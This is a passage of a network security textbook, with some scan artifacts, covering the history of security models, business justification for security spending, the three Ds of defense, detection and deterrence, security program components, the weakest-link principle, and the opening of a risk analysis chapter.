InterNex was an Internet service provider (ISP) headquartered in Palo Alto,
California. The only security control it employed was basic username and password
authentication. It had designed its network intentionally to allow unrestricted access.
This was a philosophical decision. The ideology of InterNex was that the Internet
should be open to everyone.

Unfortunately for InterNex, the open-access philosophy had consequences. Many
of its systems were compromised by attackers who were able to guess the passwords of
various user accounts. One of the most famous attackers in history, Kevin Mitnick,
used InterNex’s compromised systems to disguise his identity while attacking other
networks, including during the 1994 IP spoofing attack against computers in San
Diego. Mitnick was eventually captured and served five years in jail.
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When businesses started to widely embrace the Internet as a sales channel and business
tool in the early-to-mid 1990s, a new security model was required. A closed-door approach
doesn’t work when you need to allow thousands or millions of people to have access to the
services on your network. Likewise, an open-door approach doesn’t work when you need to
protect the privacy of each individual who interacts with the services on your network.
E-commerce and business required a more blended approach of providing limited access to
data in a controlled fashion, which is a more sophisticated and complex approach than that
used by the earlier security models. To use the analogy of a house, consider the complexity
of allowing certain authorized parties (like utility companies, cleaning staff, or caterers) to
get into your house while still keeping out burglars and vandals. Isn’t it easier just to keep
all your doors locked (as in the old government model) or to leave them all unlocked (as in
the academic model)? Partial controlled access requires authentication, authorization, and
privacy—and more complexity. How would you design the security of a house to provide
multilevel, complex, granular access, visibility, and control?

As the use of information technologies evolved, the original all-or-nothing approaches
to security no longer met the needs of information consumers. So, the practice of network
security evolved. The concepts of intranets and extranets were developed to accommodate
internal and external customers, respectively, with secured boundaries that resembled
miniature versions of the firewall perimeter. Virtual private networks (VPNs) were developed
to provide a secure channel (or tunnel) from one network to another. These approaches
continued through the end of the 1990s to the early part of the 2000s, after which the first
edition of this book was published in late 2003.

Throughout the first decade of the 21st century, the Internet continued to become an
increasingly critical business platform, and the network became more of a key business
component. As more companies started doing business on the Internet, concepts such as
Software-as-a-Service (SaaS) were developed to provide business services over the Internet.
And the threats found on the Internet evolved as well. Basic viruses and worms along with
the simple exploits and man-in-the-middle attacks found in the decade of the 1990s became
more sophisticated, effective, and ubiquitous.

Which brings us to today. Business partners need to share information with your company,
and often with each other as well. Employees, consultants, contractors, service providers, system
integrators, and other entities that augment a company’s resources all need to collaborate
with a pool of information. The better the distribution vehicle for that information, the more
business opportunities that can be accessed by the company. Customers require secure access
to the information that they need. A secure data network allows a company to distribute
information quickly and effectively throughout the organization, to business partners, and
to customers. Figure 1-3 characterizes the interconnectedness among data, computers,
networks, and information consumers.

SaaS offerings have become just as prevalent as in-house services—in fact, they are
increasingly more prevalent. Companies are choosing to leverage existing service offerings
on the Internet rather than build their own. Social networking is becoming a powerful
marketing force. And cloud computing is moving the boundaries of the network even further
away from the data center. This global interconnectedness requires a different perspective
on security—we can no longer build virtual walls around our networks. Instead, security
must be pervasive, built into every aspect of information processing. And the security
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/ Information \
Business
Partners

Employees

K Securely Managed /

Figure 1-3 Modern information is shared among many consumers, via many channels.

threats to all these information resources have evolved at a rate equal to or greater than the
technologies themselves. (Chapter 2 covers modern threats in detail.)

Modern security products are now designed to balance the needs of business on the
Internet while protecting against today’s sophisticated threats. Modern information security
practices have evolved into a blended approach to managing access to information.
Technology and information are blended into everyday life, and they can no longer be kept
in a locked box or left unprotected.

Justifying Security Investment

How do you justify spending money on security? That is perhaps the most challenging, and
debated, topic in the field of information security. First there was FUD—fear, uncertainty,
and doubt. Without really measuring anything or delivering specific results, executives were
simply frightened into spending money. That didn’t last long. Soon thereafter, return on
investment (ROI) was used as an attempt to market security as an investment that “pays for
itself.” This was the standard approach to justifying information technology budgets, but it
never translated well to security. There is really no good way to demonstrate a monetary
amount gained by spending money on security. So, ROI was combined with annualized loss
expectancy (ALE), a risk measurement strategy that combines the frequency (or probability)
of a loss with the cost of that loss, to produce a yearly expected monetary value. The problem
was that too much guesswork went into ALE, and losses don’t distribute themselves evenly
from year to year, so ALE estimates were really not defensible.

The “insurance analogy” was developed as an alternative to value-based security
justifications. People and businesses spend money on insurance—often as much as 10 percent
of the value of the asset per year—even though they may never have a claim to file. They
spend this money for peace of mind, knowing that they will be covered in the event of a
problem. Likewise, businesses spend money on security because it’s insurance against
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misuse of their assets. How do you measure the value of that insurance? It certainly has
value, but it’s hard to quantify. The Egghead Software case study presented earlier in this
chapter is a good example of how failure to focus on security can cause a major business
loss that greatly exceeds the value of the assets themselves.

So, where does that leave us? The business benefits of security are hard to express in
terms of a simple monetary value. Instead, consider this justification for security spending:
good security practices enable business. They allow the business to prosper. They help
provide a solid foundation upon which the business can expand and grow. Robust
information security practices not only reduce risks and costs, but also provide new
opportunities for revenue. In the past, security was thought of only in the context of
protection (blocking access, closing holes, segmenting and separating systems and networks,
and denying connections). Today that view has evolved to focus on enabling business on a
global scale, using new methods of communication. By improving access to the information
that drives its business, every company can expand its business influence on a global scale,
regardless of the company’s size or location. Information, one of the important assets a
company possesses, is even more valuable when shared with those authorized to have it.
Modern security practices provide information to those who need it without exposing it to
those who should not have it.

Good security practices allow companies to perform their operations in a more integrated
manner, especially with their customers. By carefully controlling the level of access provided
to each individual customer, a company can expand its customer base and the level of service
it can provide to each individual customer, without compromising the safety and integrity of
its business interests, its reputation, and its customers’ assets. Specific benefits of a strong
security program are business agility, cost reduction, and portability.

Business Agility

Today, every company wants to open up its business operations to its customers, suppliers,
and business partners, in order to reach more people and facilitate the expansion of
revenue opportunities. For example, manufacturers want to reach individual customers and
increase sales through e-commerce web sites. Web sites require connections to back-end
resources like inventory systems, customer databases, and material and resource planning
(MRP) applications. Extranets need to allow partners and contractors to connect to
development systems, source code, and product development resources. And SaaS
applications deliver business process tools over the Internet to customers.

Knowledge is power—in business, the more you know, the better you can adapt. Strong
security provides insight into what is happening on the network and, consequently, in the
enterprise. Weak security leaves many companies blind to the daily flow of information to
and from their infrastructure. If a company’s competitors have better control of their
information, they have an advantage. The protection of a company’s information facilitates
new business opportunities, and business processes require fewer resources when managed
efficiently and securely. Contemporary security technologies and practices make life easier,
not harder.

Security allows information to be used more effectively in advancing the goals of
organization because that organization can safely allow more outside groups of people to
utilize the information when it is secure. The more access you provide, the more people you
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can reach—and that means you can do more with less. Automation of business processes,
made trustworthy by appropriate security techniques, allows companies to focus on their core
business. Interconnecting productivity tools opens up new levels of operational effectiveness,
and a responsible security program enables that effectiveness without exposure to undue risk.

When all levels of company management strongly support security, have a fundamental
knowledge of security principles, and place a high value on security practices, the greatest
gain is realized.

Cost Reduction

Modern security practices do reduce some costs, such as those resulting from loss of data or
equipment. Data loss due to mishandling, misuse, or mistakes can be expensive. A rampant
virus outbreak, a web site outage, or a denial of service (DoS) attack can result in service
outages during which customers cannot make purchases and the company cannot transact
business. Perhaps even worse, the service outage may attract unwelcome press coverage.
The consequences of a security compromise can be significant. A publicized security
incident can severely damage the credibility of a company, and thus its ability to acquire
and retain customers.

An increasing number of attacks are categorized as advanced persistent threats (APTs).
These attacks are designed to deploy malware into a network and remain undetected until
triggered for some malicious purpose. Often, the goal of the attacks is theft of financial
information or intellectual property. Loss of service or leakage of sensitive data can result in
fines, increased fees, and an overall decrease in corporate reputation and stock price. Strong
security reduces loss of information and increases service availability and confidentiality.

Portability

Portability means that software and data can be used on multiple platforms or can be
transferred/transmitted within an organization, to a customer, or to a business partner. The
“consumerization” of information has placed demands on companies to be able to provide
meaningful and accurate information at a moment’s notice.

A survey of CIOs and CISOs in 2011 concluded that the single biggest driver of
information security spending over the preceding three years was client requirement,
meaning that customers want to buy products and services from companies that have good
security, and will in fact sometimes require evidence of security practices before completing
a purchase.

To meet the demands of today’s businesses and consumers, architectures and networks
need to be designed with security controls baked in as part of the development process.
Clearly, this level of broad access to information resources requires a well-thought-out and
properly deployed security program. With sound security built in from the ground up,
portability of data as a key benefit can be realized.

Portability also enables business and creates value. For example, Apple’s ability to both
host music and allow personal music libraries to be synchronized to a tablet, mobile phone,
and MP3 player has greatly increased Apple’s bottom line. Security for mobile platforms
affords users the opportunity to take their music everywhere while protecting the interests
of the business by preventing unauthorized downloading of copyrighted material.
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Security Methodology

Security is a paradigm, a philosophy, and a way of thinking. Defensive failures occur when
blind spots exist. A defender who overlooks a vulnerability risks the exploitation of that
vulnerability. The best approach to security is to consider every asset in the context of its
associated 7isk and its value, and also to consider the relationships among all assets and risks.

The field of security is concerned with protecting assets in general. Information security is
concerned with protecting information in all its forms, whether written, spoken, electronic,
graphical, or using other methods of communication. Network security is concerned with
protecting data, hardware, and software on a computer network. The various branches of
security are related to each other, to a greater or lesser extent, and this book’s techniques
apply to all of them. The practices used in this book to approach security provide best
results regardless of the branch or specialization—in other words, the basic concepts such
as asset identification and valuation, threat definition and risk analysis, and processes and
mechanisms to protect assets apply equally well. At its core, the practice of security is all
about reducing risks to assets to acceptable levels by using a layered, comprehensive
approach so that risk is still mitigated and controlled even when one control fails.

If you're trying to protect a network of computers, a focus only on the security of those
computers leads to vulnerabilities and/or risks that attackers might exploit to bypass your
protective mechanisms. It is important to consider network security in the context of its
relationship to other security fields, as well as to the rest of the enterprise.

CAUTION It is vital to the success of any security endeavor to consider all the factors necessary to
successfully integrate security technologies into the enterprise. For example, a firewall cannot be
effective without paying attention to its context: the business processes used to support the
technology, the assets it is intended to protect, the expected threat vectors, and the adjacent
technologies that bypass the firewall. Keep the big picture in mind when wielding technological tools.

The field of information security evolves constantly, but the foundations of good
security practice have not changed throughout history. If you are to succeed in protecting
your assets, you should consider the lessons learned from successful security strategies, as
well as those learned from poor ones. The basic principles apply equally well to any
situation or environment, regardless of whether you apply them to defend computers,
networks, people, houses, or any other assets.

The Limitations of a Barrier: Case Study

The Maginot Line, a wall built by the French in the 1930s to defend France from
invasion by Germany, is one of the most famous defensive failures in history. A strict
border defense, it was designed to deny all access from the other side. But the ends of
the wall were never finished, lack of maintenance caused it to lose its effectiveness, and
changes in warfare technology made blocking human attackers on foot obsolete. The
Maginot Line serves as a useful analogy to modern firewalls. Ignoring threats that go
around firewalls and failing to properly maintain the firewall platform and
configuration can reduce and weaken the firewall’s defensive effectiveness.
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The basic assumptions of security are as follows:

¢ We want to protect our assets.
® There are threats to our assets.

* We want to mitigate those threats.

These hold true for any branch of security.

Three aspects of security can be applied to any situation—defense, detection, and
deterrence. These are considered the three Ds of security.

Defenseis often the first part of security that comes to mind, and usually it is the easiest
aspect for people to understand. The desire to protect ourselves is instinctive, and defense
usually precedes any other protective efforts. Defensive measures reduce the likelihood of
a successful compromise of valuable assets, thereby lowering risk and potentially saving the
expense of incidents that otherwise might not be avoided. Conversely, the lack of defensive
measures leaves valuable assets exposed, inviting higher costs due to damage and loss.
Defensive controls on the network can include access control devices such as stateful firewalls
(covered in Chapter 16), network access control (covered in Chapters 14 and 15), spam and
malware filtering, web content filtering, and change control processes (covered in Chapter 31).
These controls provide protection from software vulnerabilities, bugs, attack scripts, ethical
and policy violations, accidental data damage, and the like. Chapter 2 addresses defense
models in more detail. However, defense is only one part of a complete security strategy.

Another aspect of security is detection. In order to react to a security incident, you first
need to know about it. Examples of detective controls include video surveillance cameras in
local stores (or even on your house), motion sensors, and house or car alarm systems that
alert passers-by of an attempted violation of a security perimeter. Detective controls on the
network include audit trails and log files, system and network intrusion detection and
prevention systems (covered in Chapter 18), and security information and event management
(SIEM) alerts, reports, and dashboards. A security operations center (SOC) can be used to
monitor these controls. Without adequate detection, a security breach may go unnoticed for
hours, days, or even forever.

Deterrence is another aspect of security. It is considered to be an effective method of
reducing the frequency of security compromises, and thereby the total loss due to security
incidents. Many companies implement deterrent controls for their own employees, using
threats of discipline and termination for violations of policy. These deterrent controls include
communication programs to employees about acceptable usage and security policies,
monitoring of web browsing behavior, training programs to acquaint employees with
acceptable usage of company computer systems, and employee signatures on agreements
indicating that they understand and will comply with security policies. (Chapter 5 covers
security policies.) With the use of deterrent controls such as these, attackers may decide not
to cause damage.

NOTE Companies that assess their risks and identify what controls and techniques will be most effective
against those risks will reap the greatest results. The better security programs will incorporate each of
the three Ds based on how much value each provides in reducing or eliminating the particular risks
that are being addressed.
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The Illusion of Security: A Case Study

Many drivers of Toyota vehicles in the 1980s were unaware that the door keys for
those vehicles had only a small number of variations. They naturally assumed that so
many different keys existed, the chance of opening the door of the wrong car was

were able to carry a full set to steal the cars.

One person who encountered this phenomenon was Betty Vaughn, a retired
school teacher in Louisville, Kentucky. Betty returned from a shopping trip to the
local mall to find her Toyota’s passenger-side mirror broken off and the garage door

plate was also missing. They assumed their car had been vandalized. But wait! The
tires were the wrong brand! What kind of vandal would switch their tires? It was then

wasn’t their car. The Vaughns’ blue 1992 Toyota Camry had been parked two cars
away from Charles Lester’s 1993 model. The keys to both vehicles were the same.

This case study appeared in the first edition of this book. Imagine the author’s
surprise when, several years later, he personally experienced this same phenomenon
when he grabbed the key to his 1967 Mustang by mistake and used it to start his
1990 Mustang without any trouble. Evidently, Ford hadn’t changed their key pattern
in 25 years.

This case study shows how the assumptions people make about security are often

have done a good job of implementing key-based security.

practically impossible. They were wrong. Toyota had so few key variations that thieves

opener missing. When her husband Edgar arrived home, he noticed the front license

that they checked the glove compartment and discovered from the registration that it

wrong, and that relying on a single security factor can be insufficient. People think that
keys make their cars secure, and that’s not always true, because not all manufacturers

Consider the three Ds of security in the context of your own home, as an example.
What would you do if you had something valuable (such as a diamond ring) that you

wanted to protect while providing controlled access? You would want to use all three aspects

of security. For defense, you would lock your doors and use key management technology,
such as a locking key holder (you would never hide the key under the doormat or a potted

plant, right?), to allow access only to those you authorize to enter your home. For
detection, you might install cameras, infrared sensors, and an alarm system to alert you
(and an alarm monitoring company) the instant a breach occurs.
For deterrence, you would expect your local police to enforce
laws, you might employ a security company to drive around your
neighborhood periodically, and you might use other methods
to discourage the theft of your valuables, such as keeping dogs
or other intimidating pets. Relying on only one of the three
Ds would not be enough to prevent theft of your valuable object.
You need to do all of them.

Each of the three Ds is equally important, and each Deterrence
complements the others, as represented in Figure 1-4. A defensive

strategy keeps attackers at bay and reduces internal misuse and Figure 1-4 The three

accidents. A detective strategy alerts decision makers to violations  Ds of security
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of policy and other security events. And a deterrent strategy discourages attempts to
undermine the business goals and processes and keeps resources efficiently focused on
productive efforts. No security effort can be fully effective without all of these. Conversely, a
security effort that employs all three Ds provides strong protection.

CAUTION Do not employ only one or two of the three Ds of security. All three aspects are necessary for
an effective security program.

When only one or two of these aspects of security are applied to the network, exposures
can result. A network that only uses defense and detection without deterrence is vulnerable
to internal attacks, misuse, and accidents caused by employees who are not motivated to
follow the correct procedures. A network that fails to employ detection faces exposure to all
failures of the defensive and deterrent controls, and management may never become aware
of these failures, which means abuses may continue unchecked. Of course, employing no
defensive controls on a network exposes that network to any of the well-known threats of
internal or external origin.

How to Build a Security Program

The overall approach to building a security program, as with any endeavor, should begin with
describing what is needed and why, and to proceed to define how it will be implemented,
when, and using which particular methods. There are many components that go into the
building of a security program:

¢ Authority The security program must include the right level of responsibility and
authorization to be effective.

e Framework A security framework provides a defensible approach to building the
program.

¢ Assessment Assessing what needs to be protected, why, and how leads to a strategy
for improving the security posture.

¢ Planning Planning produces priorities and timelines for security initiatives.

e Action The actions of the security team produce the desired results based on
the plans.

* Maintenance The end stage of the parts of the security program that have reached

maturity is to maintain them.

Figure 1-5 shows how a complete security program implementation would look in a midsize
to large corporate environment. Smaller companies might simplify, streamline, or combine
components depending on resource availability. These security program components, and
how they fit together, are described in the following sections.

Authority

A security program charter defines the purpose, scope, and responsibilities of the security
organization and gives formal authority for the program. Usually, the security organization
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Figure 1-5 Security program components

is responsible for information protection, risk management, monitoring, and response.

It might also be responsible for enforcement, such as reprimanding or even terminating
employees or contract workers, but more commonly that authority is vested in the Human
Resources department. Other responsibilities may include physical security, disaster-recovery
and business-continuity planning, regulatory and internal compliance, and auditing. The set
of responsibilities varies by company, but should be clearly specified in the security program
charter, which should be authorized by the company’s executive staff.

A resourcing plan is an ongoing strategy for providing the headcount needed to operate
the security function. Insourcing, outsourcing, offshoring, and the like are factored into a
resourcing plan, which describes how employees, contractors, consultants, service providers,
and temporary workers will be leveraged to fuel the progress of security implementations,
operations, and improvement. Chapter 6 covers the staffing of the security function.

Framework

The security policy provides a framework for the security effort. The policy describes the
intent of executive management with respect to what must be done to comply with the
business requirements. The policy drives all aspects of technical implementations, as well as
policies and procedures. Ideally, a security policy should be documented and published
before any implementations begin. The security policy represents business decisions about
what to do based on certain assumptions. If the assumptions are not documented, they may
be unclear or conflict with other activities. Documenting these assumptions in a clear, easy-
to-read, accessible policy helps communicate expectations to everyone involved.

Standards are the appropriate place for product-specific configurations to be detailed.
Standards are documented to provide continuity and consistency in the implementation
and management of network resources. Standards change with each version of software and
hardware, as features are added and functionality changes, and they are different for each
manufacturer. Because standards do change, they require periodic revision to reflect
changes in the software and hardware to which they apply.
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Guidelines for the use of software, computer systems, and networks should be clearly
documented for the sake of the people who use these technologies. Guidelines are driven
to some extent by the technology, with details of how to apply the tools. They are also
driven by the security policy, as they describe how to comply with the security policy.

Assessment

A risk analysis provides a perspective on current risks to the organization’s assets. This analysis
is used to prioritize work efforts and budget allocation, so that the greater risks can receive
a greater share of attention and resources. A risk analysis results in a well-defined set of
risks that the organization is concerned about. These risks can be mitigated, transferred,
or accepted. Chapter 2 covers risk analysis in more detail.

A gap analysis compares the desired state of the security program with the actual current
state and identifies the differences. Those differences, or gaps, form a collection of objectives
to be acted on over the course of a remediation effort to improve the organization’s security
posture to bring it in line with one or more standards, requirements, or strategies.

Remediation planning takes into account the risks, gaps, and other objectives of the security
program, and puts them together into a prioritized set of steps to move the security program
from where it is today to where it needs to be at a future point.

Planning

A roadmap is a plan of action for how to implement the security remediation plans. It describes
when, where, and what is planned. The roadmap is useful for managers who need the
information to plan activities and to target specific implementation dates and the order of
actions. It is also useful for implementers who will be responsible for putting everything
together. The roadmap is a relatively high-level document that contains information about
major activities and milestones coming up in the next defined period of time (often some
combination of quarters, one year, three years, five years, or a “rolling” period of time that
advances periodically).

The security architecture documents how security technologies are implemented, at a
relatively high level. It is driven by the security policy and identifies what goes where. It
does not include product specifications or specific configuration details, but it identifies
how everything fits together. A good tool for architecture documents is a block diagram—
a diagram that shows the various components of a security architecture at a relatively high
level so the reader can see how the components work together. A block diagram does not
show individual network devices, machines, and peripherals, but it does show the primary
building blocks of the architecture. Block diagrams describe how various components
interact, but they don’t necessarily specify who made those components, where to buy
them, what commands to type in, and so on.

The project plans detail the activities of the individual contributors to the various security
implementations. A good project plan opens with an analysis phase, which brings together
all of the affected parties to discuss and review the requirements, scope, and policy. This
is followed by a design phase, in which the architecture is developed in detail and the
implementation is tested in a lab environment. After the design has been made robust, an
initial test is performed to expose bugs and problems. The implementation phase is next,
with the implementation broken into small collections of tasks whenever possible. Testing
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follows implementation, after which the design is revised to accommodate changes
discovered during testing. Upon completion, the implementation team should meet to
discuss the hits and misses of the overall project in order to prepare for the next phase.

Action

Procedures describe how processes are performed by people on an ongoing basis to produce
the desired outcomes of the security program in a repeatable, reliable fashion.

Maintenance and support are part of maintaining the ongoing operations of the security
program and its associated technologies, as part of a normal lifecycle of planning, updating,
reviewing, and improving.

The actions that should be taken when a security event occurs are defined in the
incident response plan. Advance planning for what to do when security incidents occur helps
shorten the response time and provides repeatable, reliable, and effective actions to limit
the scope and damage of an incident. Chapter 33 covers incident response.

Maintenance

Policy enforcement is necessary to ensure that the intentions of management are carried
out by the various people responsible for the behavior and actions defined in the security
policies. Often, this enforcement is a shared effort between security management, company
management, and Human Resources.

Security awareness programs are used to educate employees, business partners, and other
stakeholders about what behaviors are expected of them, what actions they should take
under various circumstances to comply with security policies, and what consequences may
ensue if they don’t follow the rules. As an educational tool, an awareness program can also
be a great resource for helping people understand why they should want to follow the rules,
and how security benefits them. Motivation can be an effective approach.

Ongoing guidance for business projects, daily operations, and general walk-up questions
is an important part of a security program. After all, business situations change every day,
and security should be considered in every situation. Someone should be available to advise
the business on the best way to do things in a secure manner.

The Impossible Job

A universal truth of security, regardless of the application, is that the job of the attacker is
always easier than the job of the defender. The attacker needs only to find one weakness,
while the defender must try to cover all possible vulnerabilities. Figure 1-6 illustrates this
concept. The attacker has no rules—the attacker can follow unusual paths, abuse the trust
of the system, or resort to destructive practices. The defender must try to keep their assets
intact, minimize damage, and keep costs down. To illustrate this point, let’s return to the
house analogy. Homeowners who want to protect their property must try to anticipate every
attack that is likely to happen, while attackers can simply use, bend, break, or mutilate the
house’s defenses. In an extreme example, the attacker can cut through the exterior, break
the windows, knock down the walls, or set the house on fire. Homeowners have the more
difficult job, trying to protect their assets against all types of attack.
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Figure 1-6 Attackers can choose their targets across the full attack surface.

In fact, the defender has an impossible job if the goal is to have 100 percent protection
against all conceivable attacks. That is why the primary goal of security cannot be to eliminate
all threats. Management may need to be educated about this concept, because they may not
realize that this is a tenet of the security profession. Every defender performs a risk assessment
by choosing which threats to defend against, which to insure against, and which to ignore.
Mitigation is the process of defense, transferenceis the process of insurance, and acceptance is
deciding that the risk does not require any action.

The Weakest Link

A security infrastructure will drive an attacker to the weakest link. For example, a potential
burglar who is trying to break into a house may start with the front door. If the front door
lock is too difficult to pick, the burglar may try side doors, back doors, and other entrances.
If the burglar can’t get through any of those, he may try to open a window. If they’re all
locked, he may try to break one. If the windows are unbreakable or barred, he may try to
find other weaknesses. If the doors, windows, roof, and basement are all impenetrable, a
determined burglar may try to cut a hole in the wall with a chainsaw. In what order will the
burglar try these attacks? Usually, from the easiest to the hardest. The weakest link will
attract the greatest number of attacks. Figure 1-7 demonstrates this concept.

All security controls should complement each other, and each should be equally
as strong as the others. This principle is called equivalent security or transitive security.
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Figure 1-7 Attack vectors focus on the weakest link.
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When you’re deciding which security project should be your next priority, choose to
shore up the weak points first. Because threats come from many sources and tend to
focus on the weakest link, protecting a particular asset (for example, a credit card
number) requires securing the asset as well as securing other resources (for example,
servers, networks, databases, storage systems, printers, scanners, and fax machines) that
have access to that asset. These resources may include nontechnical resources as well, so
focusing only on electronic data can overlook important threat vectors.

For example, securing a credit card number should also include securing the system on
which it resides, the network attached to that system, the other systems on the network,
non-computer equipment (such as fax machines and phone switches) attached to that
network, and the physical devices for each of these. It should also include securing the
processes and procedures that affect that credit card number, such as system administration,
backup tape rotation and handling, and background checks and hiring and termination
procedures. Securing the data means discovering its path throughout the system, and
protecting it at every point. If the credit card number is stored on the most secure network
but a business process that prints the card numbers and stores them is kept in an unlocked
room, the attacker will exploit this weakest link. Equivalent or transitive security controls on
all the places where that asset may be attacked make the attacker’s job harder by protecting
against weak points the attacker can exploit.

In a computer network, firewalls are often the strongest point of defense. They encounter
their fair share of attacks, but most attackers know that properly configured firewalls are
difficult to penetrate, so they will look for easier prey. This can take the form of DSL lines in
labs or small offices that aren’t firewalled, modems and other remote access systems, Private
Branch Exchange (PBX) phone switches, home computers and laptops that are sometimes
connected to the company network, unpatched web servers and other Internet-facing servers,
e-mail servers (to launch attacks such as spear-phishing), and Domain Name Service (DNS)
servers that are accessible from the Internet. All of these typically offer less resistance to
attackers than firewalls offer. That’s why it’s important for the security of these objects to be
equally as strong as the firewall.

For any device that is to be protected, more attacks will occur via less protected paths, and
those attacks will typically be more often successful. These attacks may exploit vulnerabilities
in Internet-facing systems, compromised internal systems, administrative channels, unsecured
paths, or even trusted credentials. The most successful of those attacks will be the ones that
take advantage of the weakest security. Spending your limited time and money on improving
the security of the firewall, the server, or the database may not be as effective as focusing on
greater weaknesses.

One objective of an effective security strategy is to force the attacker to spend so much
time trying to get past the defenses that he will simply give up and go elsewhere. Other
strategies attempt to delay the intruder for a long enough time to take a reactive response,
such as summoning authorities. Still others try to lure the attacker into spending too much
time on a dead end.

In any case, weak points in the security infrastructure should be avoided whenever
possible. In situations where weak points are necessary due to business requirements,
detective and deterrent security controls should focus on the areas where defensive weak
points exist. You can expect these weak points to attract attackers, and you should plan
accordingly.
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Strategy and Tactics

A security strategy is the definition of all the architecture and policy components that make
up a complete plan for defense, detection, and deterrence. Security lactics are the day-to-
day practices of the individuals and technologies assigned to the protection of assets. Put
another way, strategies are usually proactive and tactics are often reactive. Both are equally
important, and a successful security program needs to be both strategic and tactical in
nature. With a well-defined strategic plan driving tactical operations, the security effort will
have the best chance for success.

NOTE Dividing efforts between strategic (proactive) planning and tactical (reactive) operations can be
challenging. However, both functions are equally important, and resources should be divided between
the two. In extremely active environments, it can be helpful to set aside time each week for planning
sessions that focus on the longer term.

Strategic planning can proceed on weekly, monthly, quarterly, and yearly bases, and
should be considered an ongoing endeavor. Often there is an immediate need to secure
a part of the network infrastructure, and time is not on the side of the strategic planner.

In these cases, a tactical solution can be put in place temporarily to allow appropriate time
for planning a longer-term solution.

In gauging the effectiveness of a security endeavor, separating strategy from tactics
provides a way to focus on how business resources are being deployed. If a company finds
itself focusing only on strategy or only on tactics, it should review its priorities and consider
adding additional staff to address the shortfall.

Figure 1-8 demonstrates the interplay of strategy and tactics. Initially, at a given starting
point in time, tactical effort may be high where strategy has not previously been employed.
As time progresses and strategic planning is employed, tactical operations should begin to
require less effort, because the strategy should simplify the operation and the business
processes. This simplification is caused by the organization and planning provided by the
strategic efforts, which reduce uncertainty and duplication of work by providing a proactive
framework for staff to operate in. Given enough time, strategic planning should encompass
tactics, confining them to the point where most daily tactical operations take place in a well-
planned strategic context, and only unexpected fluctuations cause reactive efforts.

Effort

Tactical Work Effort

v

Time

Figure 1-8 Strategy reduces tactical work effort over time.
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In the ideal situation, strategy and tactics are at equilibrium. The strategic focus paves
the way for quarter-to-quarter activities, and the tactical operations follow the strategy set
forth in the previous quarters. In this balanced system of planning and action, a framework
has been set in advance by the strategists for the operational staff to follow, which greatly
facilitates the jobs of the operational staff who must react to both expected and unplanned
situations. Instead of spending time figuring out how to respond to day-to-day situations,
the operational staff follows a largely preplanned set of responses and implementations,
leaving them free to cope with unexpected problems. In the network security context, this
allows a better focus on incident response, virus control, correction of policy violations,
optimization of implementations, and the like. For example, the tactical security practitioner
can be freer to respond to an unexpected attack when incident response procedures and
technologies have been planned in advance, instead of reacting on the fly and wasting
valuable time during a crisis.

Business Processes vs. Technical Controls

In security, there is no magic bullet. In this sense, a magic bullet means a single security
device, product, or technology that provides complete protection against all threats. Some
security products are marketed as “security-in-a-box” solutions that provide all the security
a company needs. In reality, security threats and exposures are complex and constantly
evolving. Security technologies need to be selected on the basis of business context, so they
are targeted toward specifically identified risks with clear objectives.

Organizations that place technical controls on their network without accompanying
business processes have not recognized that computers are tools for accomplishing specific
objectives, and that tools should be considered within a business process in order to be
effective. For example, purchasing a database does not solve the problem of how to manage
customer data. Customer data management is a business process that can be facilitated by a
database. Likewise, buying a firewall doesn’t magically provide security. Furthermore, if
technical controls get in the way of the business or slow down workflow, people will find
ways to work around them, rendering them ineffective or useless.

CAUTION There is a clear distinction between processes and tools. Often, the tools only support a
limited set of processes, and in these situations, the processes may have to conform to the
limitations of the tools. However, the tools only automate the processes; they do not define them or
make them secure in and of themselves.

In the context of network security, business objectives, priorities, and processes determine
the choice of tools, and the tools are used to facilitate the business processes. Figure 1-9
illustrates this principle. Any security implementation is a snapshot that includes the current
threat model, the protection requirements, the environment being protected, and the state
of the defensive technology at the time. As technology and the business environment evolve
over time, the technical controls that are part of this snapshot will become less and less
appropriate.

Before selecting security products, the business processes must be identified so that
security products can be chosen that fit appropriately into the business environment.
Proper consideration of how the security tools will be used to facilitate the business
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Access Control Authorization
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Firewall VPN IDS/IPS Anti-Malware Backup Directory Services

Content Filtering UTM Patching Tools Spam Filtering Virtual Desktop
Virtual Server Mobile Device Management Database Monitoring DLP IRM

Figure 1-9 Business objectives, priorities, and processes drive tool selection.

requirements improves the likelihood that the security tools will remain effective and
adequate. The security practitioner must attempt to understand the underlying business
processes and data flows in order to solve the security challenge. This requires time and
effort, but it’s necessary for success. And the sooner the security practitioner is included in
the project planning process, the more successful the security solution will be.

Make these assumptions when considering security:

® You can never be 100 percent secure.
® You can, however, manage the risk to your assets.

* You have many tools to choose from to manage risk. Used properly, these tools can
help you achieve your risk management objectives.

Summary

Security implementations that solve specific business problems and produce results that
are consistent with clearly identified business requirements produce tangible business
benefits by reducing costs and creating new revenue opportunities. Companies that
provide access into their network under control allow employees and customers to work
together more effectively, enabling the business. Security both prevents unwanted costs
and allows greater business flexibility. Thus security creates revenue growth at the same
time as controlling losses.

Security can be thought of in the context of the three Ds: defense, detection, and
deterrence—each of which is equally important. Defense reduces misuse and accidents,
detection provides visibility into good and bad activities, and deterrence discourages
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unwanted behavior. A security program that employs all three Ds provides strong protection
and therefore better business agility (see Figure 1-5). Strategies are used to manage proactive
security efforts, and tactics are used to manage reactive security efforts. Together, well-
designed security strategy and tactics result in an effective, business-driven security program.
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CHAPTER

Risk Analysis

The objective of a security program is to mitigate risks. Mitigating risks does not mean
eliminating them; it means reducing them to an acceptable level. To make sure your
security controls are effectively controlling the risks in your environment, you need to
anticipate what kinds of incidents may occur. You also need to identify what you are trying
to protect, and from whom. That’s where risk analysis, threat definition, and vulnerability
analysis come in. What is being protected? What are the threats? And where are the
weaknesses that may be exploited?

Spending more money on security than an asset is worth rarely makes sense, but by the
same token, spending nothing at all to secure an asset makes no sense either. The goal is to
find the optimal balance between the business risks associated with technologies and
processes and the cost of security controls that address those risks.

Threat Definition

Evaluating threats is an important part of risk analysis. By identifying threats, you can give
your security strategy focus and reduce the chance of overlooking important areas of risk
that might otherwise remain unprotected. Threats can take many forms, and in order to be
successful, a security strategy must be comprehensive enough to manage the most
significant threats.

How do you know you’re defending against the right threats? For example, if an
organization were to simply purchase and install a firewall (and do nothing else) without
identifying and ranking the various threats to their most important assets, would they be
secure? Probably not. Consider the statistics shown in Figure 2-1. These statistics are from
Verizon’s 2010 Data Breach Investigations Report (DBIR), the result of a collaboration
between Verizon and the U.S. Secret Service. This is a breakdown of “threat agents,” which
are defined in the report as “entities that cause or contribute to an incident.” This particular
study illustrates the point that insider threats should be an important consideration in any
security program. Many people that haven’t seen real-world security breaches don’t know
